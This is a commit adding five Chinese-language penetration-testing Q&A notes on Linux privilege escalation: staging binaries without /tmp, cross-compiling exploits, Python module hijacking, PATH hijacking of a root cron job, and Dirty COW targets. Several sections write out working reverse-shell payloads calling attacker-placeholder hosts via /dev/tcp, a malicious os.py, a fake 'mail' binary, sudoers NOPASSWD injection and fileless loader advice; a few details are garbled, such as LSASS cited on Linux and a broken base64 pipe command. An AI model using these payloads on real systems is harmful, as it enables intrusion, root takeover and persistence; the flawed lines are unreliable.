Add files via upload

Chapter15/15-29.md

@@ -0,0 +1,107 @@
+### 如何在没有 /tmp 写入权限的情况下，寻找替代的、可执行文件的临时存放位置
+
+**一、常规替代目录的优先级侦察**
+
+我会优先检查那些默认情况下可能拥有写入权限，且常被系统或应用程序忽略的目录
+
+**1. 用户 Home 目录和配置文件**
+
+如果我已经获得了某个用户的 Shell 访问权限，那么该用户自己的 Home 目录或其下的某些子目录通常是最佳的落脚点
+
+- **用户的家目录 (`$HOME`):**
+  - `/home/user/` 或 `~/`
+  - **优点:** 绝对有写入权限
+  - **缺点:** 容易被用户自己的活动或安全软件（如 EDR/AV）监控
+- **缓存和配置目录:**
+  - `$HOME/.cache/`：应用程序缓存目录
+  - `$HOME/.config/`：用户配置目录
+  - `$HOME/.local/share/`：本地应用数据共享目录
+- **临时日志/历史文件:**
+  - `/var/tmp/`：某些系统允许普通用户写入
+  - 检查 `$HISTFILE` 变量指向的路径
+
+**2. Web 应用或服务目录**
+
+如果目标是一个 Web 服务器，Web 服务运行账户可能对某些目录拥有写入权限，尤其是在 Web 根目录之外
+
+- **Session 目录:** 如果 Web 服务器启用了 PHP 或其他脚本语言，检查其 **Session 存储路径**，这些目录通常需要具备写入权限
+- **上传目录:** 寻找 Web 应用中用于文件上传的目录，即使配置了文件类型限制，也可能用于存放和执行二进制文件（但这通常需要绕过 Web 应用逻辑）
+
+**3. 共享目录与系统目录的误配置**
+
+我会寻找那些权限配置错误的目录，尤其是那些允许 `Others` 组写入的目录
+
+- **共享库和配置:**
+  - `/opt/` 或 `/usr/local/` 下的子目录
+  - **`chmod -R o+w /some/dir`** 导致的系统目录权限被过度放宽
+- **服务/数据目录:** 检查 `/var/lib/` 或 `/var/run/` 下的子目录，某些服务可能被配置为以普通用户权限运行，并对特定子目录具有写入权限
+
+****
+
+**二、系统化查找：权限和挂载点分析**
+
+这才是渗透测试的精髓：系统化地分析文件系统，找出既可写又可执行的目录。
+
+**1. 文件系统权限分析（查找可写目录）**
+
+使用 `find` 命令结合 `perm` 标志，扫描整个文件系统，查找当前用户具有写入权限（`w`）的目录
+
+```bash
+# 查找根目录下，对当前用户（通常通过 "others" 权限）可写的目录
+# (需要优化，避免扫描 /proc, /sys 等虚拟文件系统)
+find / -path /proc -prune -o -path /sys -prune -o -type d -perm /o+w 2>/dev/null 
+
+# 简化版本，可能产生大量输出
+find / -writable -type d 2>/dev/null
+```
+
+我会将输出结果导入一个文件，然后逐一检查这些目录，看是否能成功创建一个文件
+
+**2. 挂载点分析（查找 `noexec` 限制）**
+
+即使一个目录是可写的，如果其所在的文件系统是以 `noexec` 选项挂载的，那么在该目录下执行任何文件都将失败
+
+检查 `/etc/fstab` 或使用 `mount` 命令来查看所有挂载点的选项：
+
+```bash
+mount
+```
+
+**关注点：**
+
+- 如果 `/home` 或 `/var` 目录单独挂载，它们可能存在 `noexec` 限制
+- 如果找到一个未被 `noexec` 标记的**可写目录**（例如，一个不常见的 `/data` 分区），那就是完美的替代位置
+
+**3. 进程关联目录**
+
+通过查看进程信息，有时能发现服务正在使用的、拥有特定权限的临时目录
+
+```bash
+# 检查 LSASS 进程（或任何高权限服务）的当前工作目录或打开的文件句柄
+ls -l /proc/[PID]/cwd
+ls -l /proc/[PID]/fd
+```
+
+这可能暴露出一些不为人知且权限配置宽松的目录路径
+
+****
+
+**三、内存加载与文件描述符**
+
+如果所有的文件系统侦察都失败了，即找不到任何可写且可执行的目录，那么最后的方案是**不将文件写入磁盘**
+
+**1. 内存加载（无文件执行）**
+
+- **反射式 DLL 注入/内存 Payload:** 使用 Metasploit 的 **`migrate`** 或 **PowerShell Empire** 等工具，将 Shellcode 或 PE 文件直接加载到内存中的一个合法进程中执行。这避免了对临时目录的需求
+- **`/dev/shm` 策略:** 在某些 Linux 系统上，`/dev/shm` 是一个基于内存的文件系统（tmpfs）。它通常允许写入和执行，但可能受到 `/tmp` 同样的限制。不过，因为它在 RAM 中，比物理磁盘上的 `/tmp` 更难被取证分析
+
+**2. 使用文件描述符技巧**
+
+在 Linux 系统中，可以利用文件描述符在不创建可执行文件的情况下运行脚本或二进制文件：
+
+```bash
+# 示例：将二进制数据通过管道传输到 bash 解释器
+echo 'ELF_BINARY_BASE64_STRING' | base64 -d > /dev/fd/0 | /bin/bash
+```
+
+这种方法虽然复杂，但能有效避免将可执行文件保存到磁盘

Chapter15/15-30.md

@@ -0,0 +1,64 @@
+### exploit 无法直接在目标机上编译，你有哪些跨平台编译或利用预编译二进制文件的策略
+
+**一、跨平台编译策略**
+
+跨平台编译是指在我的**攻击机/控制机 (Attacker Machine)** 上为**目标机 (Target Machine)** 的特定架构和操作系统生成 Exploit 二进制文件。这是最可靠的方法
+
+**1. 使用 `musl` 静态编译**
+
+这是我最推荐的方法，因为它能最大限度地减少对目标机库文件的依赖
+
+- **目标：** 生成一个**静态链接 (Statically-linked)** 的二进制文件
+- **工具：** 使用基于 **`musl` C 库**的工具链（如 **`musl-gcc`** 或 **`zig cc`**）
+  - **常规编译**（动态链接）生成的程序在运行时需要目标机上存在特定的动态链接库（如 `libc.so.6`）。如果版本不匹配，程序就会崩溃
+  - **`musl` 静态编译**将所有必要的库函数（包括 libc）都编译到最终的二进制文件中
+
+只要架构匹配，它几乎可以在任何 Linux 发行版上运行，无需担心库版本问题
+
+**2. 使用标准工具链（如 `crosstool-NG` 或发行版自带的 Cross-Compiler）**
+
+对于更复杂的 Exploit 或需要特定库的情况：
+
+- **`crosstool-NG`：** 这是一个强大的工具集，可以构建自定义的、支持各种操作系统和架构的交叉编译工具链
+
+- **发行版自带的 Cross-Compiler：**
+
+  - 在 Debian/Ubuntu 上，可以安装像 `gcc-arm-linux-gnueabihf` 这样的包来编译 ARM 架构的程序
+
+  - **命令示例：**
+
+    ```bash
+    # 编译一个针对 32 位 Linux 机器的程序
+    i686-linux-gnu-gcc -static exploit.c -o exploit_i686
+    ```
+
+- **关键点：** 编译时始终加入 **`-static`** 标志，强制编译器将尽可能多的库静态链接进去
+
+**3. 利用 Go 语言的跨平台特性**
+
+如果 Exploit 是用 Go 语言编写的，那么跨平台编译会变得异常简单
+
+- **命令示例：**
+
+  ```bash
+  # 编译一个针对 64 位 ARM 架构 Linux 的程序
+  GOOS=linux GOARCH=arm64 go build -ldflags="-s -w" -o exploit_arm64 exploit.go
+  ```
+
+- **`-ldflags="-s -w"`：** 这个标志可以移除调试信息，减小二进制文件体积，这对于隐蔽传输和内存加载非常有利
+
+****
+
+**二、利用预编译二进制文件的策略**
+
+如果 Exploit 本身不需要修改，或者只需要进行微小配置，使用预编译的工具或 Exploit 模板能节省大量时间。
+
+**1. 维护一个 Exploit 二进制文件库**
+
+- **策略：** 我会维护一个针对常见目标架构（`x86_64`、`x86`、`ARM`、`AArch64`）的 Exploit **通用模板**和常用工具（如 `netcat`、`socat`、`tftp` 客户端）的**静态编译版本**库
+- **好处：** 在渗透过程中，一旦确定目标架构，我可以直接上传对应版本的预编译文件，无需耗时进行编译
+
+**2. 避免动态链接库（DLL/SO）依赖**
+
+- **Shellcode：** 如果 Exploit 足够简单，我会尽量将其简化为 **Shellcode**。Shellcode 独立于特定的库文件，可以直接注入内存或通过简单的程序加载执行，是绕过文件系统和库依赖的最佳选择
+- **Loader 模式：** 编写一个极小的、静态编译的 **Loader (加载器)**，该加载器唯一的任务是下载 Exploit 的核心 Shellcode 或 DLL/SO 文件，然后将其加载到内存中执行。这样，核心攻击载荷就可以避免写入磁盘

Chapter15/15-31.md

@@ -0,0 +1,87 @@
+### 如何利用 Python 的环境特性在不修改原脚本的前提下，劫持程序执行流程并获取 Root Shell
+
+**一、利用 `PYTHONPATH` 环境变量劫持**
+
+**`PYTHONPATH`** 环境变量是 Python 解释器在寻找导入模块时，除了系统默认路径（如标准库路径和当前目录）外，会优先搜索的路径列表。如果目标脚本以 **`root`** 权限运行，并且我们能够控制 `PYTHONPATH` 的值或目标环境，就可以实现劫持
+
+**原理**
+
+1. **目标：** 找到一个目标脚本（以 Root 权限运行）会导入的**标准库模块**或**第三方库模块**。假设目标脚本中有一行代码是 `import os`
+2. **创建恶意模块：** 我们在可控目录下创建一个与目标导入模块同名的文件，例如 `os.py`
+3. **设置 `PYTHONPATH`：** 将我们存放恶意 `os.py` 文件的目录路径设置为 `PYTHONPATH` 的值
+4. **执行流程：** 当 Root 脚本启动时，Python 解释器会**优先**在 `PYTHONPATH` 指向的目录中搜索 `os.py`。它会找到我们的恶意文件，并执行其中的代码，而不是系统标准的 `os` 库
+
+**攻击步骤（获取 Root Shell）**
+
+假设目标 Root 脚本名为 `target_root_script.py`，且它导入了 `os` 模块
+
+1. **创建恶意载荷 (Payload)：** 在我们的可写入目录（例如 `/home/user/malicious_path/`）下创建 `os.py` 文件
+
+   ```python
+   # /home/user/malicious_path/os.py
+   import subprocess
+   import socket
+   
+   # 这段代码将在模块被导入时立即执行
+   def trigger():
+       # 反弹 Root Shell
+       # 注意：这里使用 bash 和 /dev/tcp 是 Linux 特有技巧
+       # 实际操作中，可以使用 Python 的 socket 库实现更隐蔽的反弹
+       LHOST = '你的攻击机IP'
+       LPORT = '你的监听端口'
+       subprocess.run(f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1", shell=True)
+   
+   # 确保在模块加载时触发
+   trigger()
+   
+   # 为了不让目标程序崩溃，我们可能需要在这里导入和暴露真正的 os 模块
+   # 但简单起见，可以先尝试让程序崩溃，如果能获得 Shell 就不必关心
+   # 复杂劫持：from real_os_module import *
+   ```
+
+2. **设置环境变量并执行：** 在 Shell 中设置 `PYTHONPATH`，然后运行目标脚本
+
+   ```bash
+   # 确保你的攻击机已经在 LPORT 端口监听 (e.g., nc -lvnp LPORT)
+   
+   export PYTHONPATH="/home/user/malicious_path/"
+   /usr/bin/python3 /path/to/target_root_script.py
+   # 此时，target_root_script.py 导入 os 模块时，将执行我们的反弹 Shell 代码
+   ```
+
+****
+
+**二、利用标准库的优先级加载机制（文件名冲突）**
+
+如果没有 `PYTHONPATH` 的控制权，我们还可以利用 Python 的**默认搜索顺序**来实现劫持。
+
+**原理**
+
+Python 的模块搜索顺序通常是：
+
+1. **当前目录或程序所在目录（优先级最高）**
+2. `PYTHONPATH` 中的目录
+3. 标准库目录和第三方包目录
+
+如果我们将恶意模块放置在**目标 Root 脚本所在的目录**下，或者放置在**用户当前工作目录**下，并以与目标脚本导入的模块相同的名称命名，它将优先于系统标准库被加载
+
+**攻击策略**
+
+这种策略需要我们对目标脚本所在的目录有写入权限，或者能控制脚本执行时的**当前工作目录 (CWD)**
+
+1. **目标：** 目标 Root 脚本（`/opt/app/root_tool.py`）导入了 `config` 模块（一个自定义模块），或者导入了一个常见且不复杂的标准库模块，如 `logging` 或 `tempfile`
+
+2. **当前目录劫持：** 如果目标脚本执行时，我们能控制其 CWD：
+
+   - **创建恶意载荷：** 在我们控制的 CWD 下创建一个名为 `logging.py` 的恶意文件
+   - **执行：** 当 Root 脚本被执行时，如果它导入了 `import logging`，它将加载 CWD 下的 `logging.py`
+
+   ```bash
+   # 攻击机已监听 LPORT
+   
+   # 切换到我们的可控目录（假设我们在这里创建了恶意的 logging.py）
+   cd /home/user/malicious_cwd/
+   
+   # 执行 Root 脚本，使其在我们的目录下启动
+   /usr/bin/python3 /opt/app/root_tool.py
+   ```

Chapter15/15-32.md

@@ -0,0 +1,74 @@
+### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`，如何利用这个未指定绝对路径的 mail 命令提权
+
+**攻击原理：滥用 `PATH` 环境变量**
+
+这个漏洞利用的核心在于 **`PATH` 环境变量的优先级**
+
+1. **`PATH` 的作用：** 在 Linux 系统中，当用户执行一个未指定绝对路径的命令（如 `mail` 或 `ls`）时，系统会按照 `PATH` 环境变量中列出的目录顺序，从左到右进行搜索，找到第一个匹配的同名可执行文件并运行
+2. **`root` 用户的 `PATH`：** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin`、`/usr/local/bin`、`/usr/sbin`、`/usr/bin` 等系统目录
+3. **漏洞利用：** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量，将一个我们具有写入权限的目录（例如 `/tmp` 或 `/home/user/bin`）添加到搜索路径的**最前面**，那么系统就会优先执行我们在这个目录中创建的**恶意程序**，而不是真正的 `/usr/bin/mail`
+4. **最终目标：** 我们将创建一个名为 `mail` 的恶意可执行文件，它真正的作用是执行我们的提权命令（获取一个 Root Shell）
+
+****
+
+**攻击载荷的构造与放置**
+
+攻击的核心是创建一个名为 `mail` 的恶意可执行文件，并确保它能被 Root 用户的 `cron` 任务找到并执行
+
+**1. 构造恶意 Payload**
+
+我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell**
+
+**文件内容：**
+
+```bash
+#!/bin/bash
+
+# 1. 执行反弹 Shell 命令
+# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
+/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &
+
+# 2. （可选）执行真正的 mail 命令以避免 cron 任务报错
+# 这样做能让管理员和脚本看起来一切正常。
+# /usr/bin/mail -s "Status" $USER
+```
+
+**2. Payload 放置位置**
+
+我们选择一个我们有写入权限的目录，并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中
+
+**策略 A：修改用户级的 `PATH` 变量（针对 `cron` 任务）**
+
+许多系统的 `cron` 守护进程在执行任务时，不会加载完整的用户环境变量文件（如 `.bashrc` 或 `.profile`），而是使用一个最小化的、硬编码的 `PATH`。因此，我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖**
+
+步骤 1：创建 Payload 和目录
+
+假设我们在自己的家目录中创建这个目录和文件：
+
+```bash
+mkdir -p /home/user/bin
+# 写入恶意 Shell 脚本
+echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
+# 赋予执行权限
+chmod +x /home/user/bin/mail
+```
+
+步骤 2：劫持 `cleanup.sh` 脚本的 `PATH`（必需）
+
+我们必须修改 `/home/user/cleanup.sh`，在执行 `mail` 命令之前，强制将我们的恶意目录添加到 `PATH` 的最前面
+
+修改后的 `/home/user/cleanup.sh` 脚本内容：
+
+```bash
+#!/bin/bash
+
+# 【!!! 攻击载荷：添加恶意目录到 PATH 最前面 !!!】
+export PATH="/home/user/bin:$PATH"
+
+# 脚本中的其他命令 (都使用了绝对路径，不受影响)
+/bin/some/command
+/bin/another/command
+
+# 原始命令：系统现在会优先找到 /home/user/bin/mail 并执行
+echo "Cleanup started" | mail -s "Status" $USER
+```

Chapter15/15-33.md

@@ -0,0 +1,54 @@
+### 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
+
+**一、关键文件劫持**
+
+直接修改 `/etc/passwd` 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径：
+
+**1. 劫持 `sudoers` 文件或其配置片段**
+
+- **目标：** `/etc/sudoers` 或 `/etc/sudoers.d/*` 下的任意配置文件
+- **攻击原理：** 利用 Dirty Cow 写入一行配置，允许当前低权限用户无需密码即可执行特定命令或所有命令 (`NOPASSWD: ALL`)
+- **Payload 示例：** 写入一行 `user ALL=(ALL) NOPASSWD: ALL`，其中 `user` 是我们当前的低权限用户名
+- **优点：** 相比于修改 `passwd` 文件，劫持 `sudoers` **无需重启**或等待登录，权限提升是**即时**的
+
+**2. 劫持 Root 用户的定时任务 (Crontabs)**
+
+- **目标：** `/var/spool/cron/crontabs/root` (在某些发行版上，如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件（如 `/etc/crontab`）
+- **攻击原理：** 利用 Dirty Cow 写入一行定时任务，该任务将在下一次执行时以 Root 权限运行我们的 Payload（例如，反弹 Shell 或创建 SUID 文件）
+- **优点：** 提供**持久性**和**间接提权**。攻击载荷隐藏在定时任务中，不直接修改系统核心凭证文件
+
+**3. 劫持 Shell 启动文件（持久化）**
+
+- **目标：** Root 用户的 Shell 启动文件，如 `/root/.bashrc` 或 `/root/.profile`
+- **攻击原理：** 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时，我们的代码将被执行
+- **Payload 示例：** 写入一行 `bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1` (反弹 Root Shell)
+- **优点：** 实现了 **持久性**，利用的是用户正常的登录流程
+
+****
+
+**二、利用动态链接库 (Shared Libraries) 劫持**
+
+这是更高级和更隐蔽的利用方法，旨在通过系统级的动态链接机制来触发 Root 权限代码执行。
+
+**1. 劫持系统关键库函数**
+
+- **目标：** **系统关键的动态链接库**，如 `/lib/x86_64-linux-gnu/libc.so.6` 或 `/lib/ld-linux.so.2`
+- **攻击原理：** 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中**极小的、不常用的函数代码**，用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时，我们的 Shellcode 就会以 Root 权限执行
+- **优点：** 隐蔽性极高，因为只修改了库中的极小片段，而非整个文件
+
+**2. 劫持 SUID/SGID 程序的依赖库**
+
+- **目标：** 任何以 Root 权限运行的 **SUID/SGID** 程序（如 `/bin/ping`, `/usr/bin/passwd` 等）所依赖的动态链接库
+- **攻击原理：** 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件（例如，`libnss_files.so.2`）。在库中写入恶意代码，当 SUID 程序被执行时，它会加载并执行我们的恶意代码，从而获得 SUID 程序的权限（通常是 Root）
+
+****
+
+**三、内存区域劫持：即时提权**
+
+Dirty Cow 的一个独特之处在于其对**内存区域**的劫持能力，这提供了即时提权的可能性
+
+**1. 劫持 Root 进程的内存空间**
+
+- **目标：** 任何当前正在运行的 **Root 进程**（例如，`sshd`、`crond`、`systemd`）
+- **攻击原理：** 尽管不能直接对整个进程内存进行操作，但可以通过读取该进程的 `/proc/[PID]/maps` 文件，找到其 **Text Segment (代码段)** 中映射的内存页。利用 Dirty Cow，覆盖该进程代码段中的某个不常用指令，用 `JMP` 或 Shellcode 替换，从而劫持进程的执行流程
+- **优点：** 提权是**即时**的，且不涉及任何文件的磁盘写入，**取证难度极高**